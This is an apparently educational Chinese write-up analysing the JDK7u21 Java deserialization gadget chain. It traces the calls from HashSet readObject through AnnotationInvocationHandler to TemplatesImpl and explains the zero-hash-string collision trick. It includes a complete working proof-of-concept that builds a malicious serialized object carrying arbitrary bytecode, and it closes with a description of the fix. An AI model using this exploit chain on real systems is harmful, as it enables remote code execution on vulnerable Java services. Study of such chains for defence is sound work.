JDK7u21
反序列化的关键
- 在于找到可以动态方法执行的代码：例如CC链中的Transformer，CB链中的PropertyUtils#getProperty
JDK7u21中动态方法执行的点，AnnotationInvocationHandler#equalsImpl中的hisValue = memberMethod.invoke(o)。
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
private Method[] getMemberMethods() {
if (memberMethods == null) {
memberMethods = AccessController.doPrivileged(
new PrivilegedAction<Method[]>() {
public Method[] run() {
final Method[] mm = type.getDeclaredMethods();
validateAnnotationMethods(mm);
AccessibleObject.setAccessible(mm, true);
return mm;
}
});
}
return memberMethods;
}
AnnotationInvocationHandler#equalsImpl是一个私有方法，仅在AnnotationInvocationHandler#invoke中被调用，它遍历执行了this.type的所有方法，如果这里的this.type为TemplatesImpl，那就可以实现任意代码执行。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
前面找到动态代码执行的关键后，构造链条的关键即在于如何调用equalsImpl和equalsImpl如何进行任意代码执行。
如何调用equalsImpl
由于AnnotationInvocationHandler实现了接口InvocationHandler，这里很明显可以采用CC1中用到的动态代理调用AnnotationInvocationHandler#invoke，但是注意到invoke的代码逻辑，我们代理的对象，必须是调用名为equals且只有一个Object类型的参数时，才会触发equalsImpl。
找到equals调用链
equals方法通常用于比较两个对象是否是同一引用，一个常见场景是集合set，集合是不允许重复对象的，所以在添加对象时势必涉及到比较操作。
// HashSet#readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
HashSet在readObject时，通过HashMap来保证集合的一些特性，向HashMap内部追溯，寻找equals操作。
// jdk8u21 hashmap
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
下面我们来详细分析HashMap#putVal:
- 首先判断传入的
key是否为null。如果是,则调用putForNullKey()方法处理这种特殊情况。 - 计算
key的哈希值,并使用indexFor()方法根据哈希值和当前 HashMap 的长度计算出该键值对在table数组中的索引位置i。 - 然后遍历位于索引
i处的链表,检查是否已经存在与传入的key相等的键值对。- 如果找到了,则更新该键值对的
value值,并返回旧的value值。 - 如果没找到,则跳出循环。
- 如果找到了,则更新该键值对的
- 如果遍历完链表后仍未找到与传入的
key相等的键值对,则调用addEntry()方法,将新的键值对添加到 HashMap 中。 - 最后,更新
modCount变量,该变量用于记录 HashMap 结构发生变化的次数。
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
关键代码在这里，由于||运算符的惰性运算，我们比较的两个对象必须满足hash值相同且key不同，才能触发后面的key.equals(k)，这里key是代理对象，k是TemplatesImpl，即可进行任意代码执行。
找到合适的proxy对象，使得其hash和TemplatesImpl的hash相等
查看HashMap的hash函数
final int hash(Object k) {
int h = 0;
// 是否启用备用hash算法，一般情况下不启用，可忽略
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
这里k.hashCode()作为产生hash的唯一变量，由于TemplateImpl的hashCode方法是一个Native方法，我们不好追溯，因此选择看一下代理对象的hashCode，而proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ，进而调用到 AnnotationInvocationHandler#hashCodeImpl
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}
private static int memberValueHashCode(Object value) {
Class<?> type = value.getClass();
if (!type.isArray()) // primitive, string, class, enum const,
// or annotation
return value.hashCode();
// ......
}
这里代码逻辑很简答，遍历 memberValues 这个Map中的每个key和value，计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。
我们如何构造一个和恶意TemplateImpl的hash值一致的代理对象呢，JDK7u21中使用了一个非常巧妙的方法：
- 当 memberValues 中只有一个key和一个value时，该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
- 当 key.hashCode() 等于0时，任何数异或0的结果仍是他本身，所以该哈希简化成 value.hashCode() 。
- 当 value 就是TemplateImpl对象时，这两个哈希就变成完全相等
public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
可以通过一个简单的爆破程序找到一个hash值为0的字符串
POC代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class JDK7u21 {
public static void main(String[] args) throws Exception {
byte[] classBytes = Files.readAllBytes(Paths.get("your\\class\\path"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes
});
setFieldValue(templates, "_name", "CalcExample");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map，并添加Magic Number为key，也就是f5a5a608，value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet，并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
注意这里代码添加的顺序
set.add(templates);
set.add(proxy);
在hash表中，同一hash地址对应的链表中的元素是有先后顺序的，我们要保证key.equals(k)的k是恶意TemplatesImpl，key是代理对象，而不是反过来。
poc代码中的两个问题
有两个小问题,
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);1.为啥可以传递Templates.class进去,要求不是继承或实现了Annotation 接口的class吗 2.第一个参数传Templates.class是因为这个接口的实现类只有TemplatesImpl 这一个吗,后面type遍历也能调方法
解答：
联想到cc1，我当时也有这个疑问。后面看了一下，可能是和不同jdk版本的AnnotationInvocationHandler实现不同，我看了jdk7u21和jdk8u66这两个版本的构造函数是不一样的，7u21中AnnotationInvocationHandler(Class var1, Map<string, object=""> var2) { this.type = var1; this.memberValues = var2; } 8u66中AnnotationInvocationHandler(Class type, Map<string, object=""> memberValues) { Class[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } 这里Class<? extends Annotation>泛型检查只有编译阶段有，所以参数传入是没什么问题的，8u66中主要是if判断不符合类型要求会抛出异常。
修复
在 sun.reflect.annotation.AnnotationInvocationHandler 类的readObject函数中，原本有一个 对 this.type 的检查，在其不是AnnotationType的情况下，会抛出一个异常。但是，捕获到异常后没 有做任何事情，只是将这个函数返回了，这样并不影响整个反序列化的执行过程。 新版中，将 return; 修改成throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); ，这样，反序列化时会出现一个异常，导致整个过程停止。